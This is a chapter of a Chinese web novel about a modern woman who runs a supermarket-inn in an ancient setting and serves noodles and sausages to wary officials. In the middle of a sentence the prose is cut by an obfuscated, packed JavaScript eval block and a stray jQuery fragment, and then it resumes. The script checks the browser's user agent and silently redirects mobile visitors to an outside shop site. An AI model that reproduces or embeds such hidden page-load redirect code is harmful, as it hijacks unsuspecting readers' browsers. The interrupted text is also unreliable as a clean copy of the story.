刘五吞了一口口水,不知是紧张还是馋的,揭开盘子,白花花的蒸汽立刻冒了出来,随之而来的就是扑鼻的香气。
方才众人已经闻了许久香气,此时都双眼直直的盯着那个碗。
碗中汤水呈暗棕红色,其间飘着几色碎屑,许是配菜。
正中央是一个圆形的饼,怎么是镂空的饼?
待蒸汽散去,定睛一看,原来不是饼,而是许多细条的面,如同女子盘发一般,盘在一起形成了一个圆饼。
刘五有些手足无措,这应该怎么吃呢?
想起林霁的说法,他拿起筷子在水中搅拌几下,只见原本形状固定的面条竟然慢慢散开,触感软弹,一根一根都打着卷儿,这面难道是卷在什么细棍上定型的吗?
搅散了面,挑起一筷子,浅黄的面上挂着棕红的料汁,竟然每一根都粗细一致,其间点缀着或绿或黄的碎片,众人心中都在想象着它的味道。
在一众期待的目光下,刘五把筷子举到嘴边,感受到面条上冒出的热气,又不愿在主子和金吾卫面前失仪,只能一口一口焦急地吹气。
待到滚滚热气散去一些,他悄悄环顾四周,见众人还是如刚才那般目光灼灼的盯着他,心中一紧,不再犹豫,张口咬了下去。
一入口,先是咸味。不是那种只有盐的单一咸味,而是其中融合了不知名的油香,还有许多复杂的香味,鲜香咸辣,却很协调的融为一体,相辅相成。
刘五不会做饭,他不知道这里面究竟放了什么才会这样诱人,也不通品尝,实在尝不出这里面究竟有哪些味道,如果真的要他形容,他恐怕只能说真香,真好吃!
面条入口,胡乱咀嚼几下,面条本身的口感反而压过了浓郁的风味。
这面怎么如此有弹性?
入口时的柔软,让他误以为面条会软烂,没想到在嘴里弹跳挤压,还保持着原来的形状。
不仅如此,咀嚼之间还尝到了一股浓浓的麦香,刘五不受控制地生出对这股醇香的喜爱和享受。
谷物带来的愉悦是生理性的。此时的人也以谷物为主食。麦子可以直接做成麦饭,却口感不佳。也可以磨成面粉做面食,他这样的官员近身随从,虽说不能山珍海味,却也不必再吃掺着杂质的面粉了,但从未在面点中尝到这样浓郁又纯粹的麦香。
他彻底沉浸其中,一口咽下,迫不及待又夹起了一筷子,下嘴前才反应过来,周围还有一圈人在看着他。
方文渊问,“如何?”
“好吃,真的好吃!”
大家都笑了,刘五反应过来,也涨红了脸。
方文渊问的是这饭菜有没有异常,而他回答的是好吃,出来办公务还如此馋嘴,真是丢了个大脸。
丢了自己的脸还好,若是在金吾卫面前丢了主子方文渊的脸,那可就完了。
方文渊没生气,他不是苛刻的上官,一向对手下人亲切随和。
只因他耕读出身,俸禄不丰,没有金银财宝赏赐下属,便只能用这种方式邀买人心。
“既然说好吃,看来店家手艺不错,可以一尝。”
方文渊给刘五解了围,收到他感激的眼神,却装作不知。
众人听了,纷纷去看别人脸上的表情,不动声色之间视线已转了几个来回,各自咽了咽口水,显然已被这香味勾的受不了了,却没有人轻举妄动。
金吾卫中的一个垂下眼睛,直直盯着这碗异常的面。
他全有力虽然看起来五大三粗,却一向是个心思细腻的,否则也不会被选中为魏王做事。
依他看来,这面定然无毒。
若店家与刺客有染,此时最要紧的便是伪装,无论要接头、撤退还是再次行刺,只有把他们一行人骗过才好实施。
至于毒杀他们查案的一伙人,既没有好处,还露了马脚,岂不是自投罗网?
方文渊当局者迷,全有力却没那么疑神疑鬼。
毕竟在朝为官本就要小心为上,谁知道幕后黑手有几重谋划,是不是准备把方文渊这个小官也卷进来做棋子?
全有力没有乌纱帽可护,也没有为人棋子的资格,没有那么多弯弯绕的心思,既然已做出判断,他也不犹豫,揭开盖子吃了起来。
这客栈既可以说是古怪也可以说是玄妙,全有力一定要拿到第一手体验,好向魏王报信。
另一名金吾卫心头一惊,他的来路也经不起推敲,不知全有力是不是私下受了哪里的上官的吩咐,不敢多言引人怀疑,也跟着吃了起来。
其余人面面相觑,看全有力大大咧咧的样子,想来应该是金吾卫有人在外头接应,这才有恃无恐。
既然外头还有大部队接应,几人也不再犹豫,揭开自己面前的盘子,摩拳擦掌要品尝一番。
方文渊虽然嘴上说大家都尝尝。却克制的等到每个人都尝过之后才揭开盘子。
听着身边此起彼伏的感叹声和唏哩呼噜的嗦面声,方文渊的眉头皱得更紧了。
一家位于京郊名不见经传的客舍,竟然拿出了如此奇特又惊为天人的美味,实在由不得他不怀疑。
方文渊搅散了面,迟疑的挑起来吃了一口,随后便不肯再吃了。
他面上保持着冷静,心里却是惊涛骇浪。
这些侍从和金吾卫都是粗人一个,没什么见识,方文渊却不一样,他逢年过节也是在宫中吃过宴席的。
他虽然只能坐在末席,可到底是宫宴,菜品非寻常人家能比的。
但如今这碗面,竟比宫中的菜肴还要美味。
若只是美味倒也正常,民间向来有些秘方。关键是这碗面吃起来竟比宫中的菜肴还要精细。
宫中的面点自然与外面的不同,面粉更加干净细腻,盐油等调料也要纯净的多,又有一众宫人精心制作,可以说是集金钱与人力于一身而成。
可这碗面,分明吃起来更加细腻,那面条比他吃过所有的面点都要柔软香醇,调味料比胡人千里迢迢献上的贡品还要浓郁,他实在想不通,这样的面究竟是怎么做出来的?
方文渊还没有想通,林霁又端着盘子出来了。
盘子上是几个小碟,有的里面是整根的烤肠,有的切成了三五块。
林霁这个人习惯考虑很多,她想象了一下六品官员举着一根烤肠在吃的画面,怎么想都有点离奇,于是自作主张把其中几根切了一下,供他们自行挑选。
方文渊自然是要了切好的,看着小碟中这所谓烤肠,毫无烤过的碳灰和焦黑痕迹,通身粉红油亮,内里的质地有些像肉糜,鲜艳得有些奇怪,他从未见过这种颜色的吃食,眉头皱得更紧了。
林霁把其他几根分给众人,他们举着小签子上的烤肠,神色也有些迷茫。
看他们这副样子,林霁赶紧解释一下。
“这种肠是民女家中秘方,将肉斩成肉泥,与面粉混合灌入肠内,所以是这种颜色。”
刘五心照不宣的先咬了一口。
咬下去的一瞬间,肠衣爽脆柔韧地破开,随后咸咸的肉香和油脂的香气瞬间充满了他的口腔。可是嚼起来却没有肉感,仿佛在吃什么糕点一样,内馅口感细腻柔软,咬到肠衣又是筋道脆弹。
这样嚼了三两下就咽了下去,感觉似乎品出了味道,又感觉只尝到了咸味,连着吃完了一整根才停下。这时候又觉得肠太小了,全部吃完也没有过瘾嘛!
其他人见他没什么异常,也忍不住各自品尝了起来,都吃得嘴唇油亮亮的。
林霁回到后厨收拾残局,穿过后门来到超市的收银台,看着失败的烤肠们,她简直又悲又喜。
悲的是因为她不熟练浪费了好几根,喜的是她可以一个人把这些都吃了,奢侈啊!
她大学时勤工俭学,偶尔买根烤肠都算犒劳自己了,毕竟在最便宜的窗口,这三块钱能吃一顿饭呢。
工作之后,资金虽然没那么紧张了,但没有家庭支撑的她还是习惯节俭的生活,一次性买好多根
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814887|211014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烤肠这种事只存在在她青春质朴的暴富想象里!
待林霁回到了后厨,方文渊还没吃,拿过别人的竹签,细细观察,越看越心惊。
这样细的签子本身就不好做,更何况上面一点毛刺都没有,通身都是规则的圆柱,就连上面的尖刺部分都磨得角度一致。
几根签子摆在一起,除了材质本身的纹路不同,简直长得一模一样。
这样精细的手艺,只是拿来串一根烤肠?
莫不是还有别的用途,比如说,沾了毒当做暗器来用?
这样锋利的竹签,若是练家子,甩出来恐怕能扎穿人的喉咙吧。
想到这里,方文渊感觉后背发凉,连忙在暗地里打手势,让几个人警惕周围。
他夹起一块烤肠囫囵吞枣的尝了尝,分辨不出究竟是什么,除了肉味和油香,什么也没感觉出来,手不由自主的去夹了下一块,他才猛然惊醒,这是种让人上瘾的东西!
方文渊不敢再吃了,指挥其他人给城中传信,让人留意这个院子。
两名金吾卫点点头,挎着刀来到后院,装作看马的样子,实则各自用暗语手书了一封密信,招来远处树上的信鸽送走。
两人对视一眼,默契的转移了视线,都以为对方是向大本营送信,便抓住机会给自己主子报信。
见他们要走了,林霁赶忙出来招呼。
“大人吃得还好吗?小店准备不周,实在怠慢,是不是不合您的胃口?”
“呵呵,无碍,本官只是路途劳累,没有胃口罢了。你看本官的那些随从,个个吃得满嘴流油,可见你的手艺不错。”
方文渊身边的书生拿出一串铜币。
“不用找了。”
一行人翻身上马,方文渊看着林霁把他没吃几口的面和肠端走,想起那味道,心中甚是纠结。
希望这店家与刺杀无关,下次没有公务在身,他必定要仔细尝尝这令人销魂的面条和勾人上瘾的烤肠。
等等,他何时这么嘴馋了?即便与刺杀无关,也疑点重重,怎么能只想着再吃一口……
客人心事重重的走后,林霁拿起那串铜钱数了数,共有一百文。
“根据系统分析,当前时代一两白银的购买力约等于人民币1500元,已自动为您兑换为150元。”
系统从刚才就一直趴在她肩上,此时跳了下来,挥动短短的小手。
刚才的6包方便面和6根烤肠,售价都是3块钱,也就是说过两界之间的海关需要缴纳36元。
目前的货品都是超市自带的,等于进货价为0,关税为36,售价150,净赚114。
再加上任务一的奖励,现在她的账户里有214元了。
“还挺暴利啊。”
“可别高兴的那么早哦,超市的水电费还没付呢。新手期赠送一周免费水电,之后要自己交了呦。”
林霁一阵肉疼,超市用的可是商电啊!那么多冰柜,那么多灯!
不行,看来不能双线作战,那边的超市只能暂且关门了,至少可以省点电费。
林霁一边想着,一边收拾碗筷。
这古代的设施,对于她一个现代人来说实在太难用了,该怎么洗碗呢?
没有水龙头和洗洁精,根据各种穿越小说来看,还可以用盆和草木灰,顶多手不熟,狼狈一些。
最关键的是,连倒剩菜汤的地方都没有,就算暂时倒进泔水桶,泔水桶又该怎么处置呢?难不成直接找片荒地泼了?
她也在饭店里打过工,刷过碗,可是就算不说设施和人手,饭店里就连泔水都有人负责分类好拉去卖的,她一个洗碗工只需要戴上手套专心致志的刷碗刷到手疼就好了,没考虑过别的问题啊。
可是要搬回超市去洗的话,今天客人少,勉强洗得过来,若是客人多了该怎么办呢?
林霁叉着腰思索着,门外突然传来一阵轻柔的女音。
“店家,可有吃食吗?”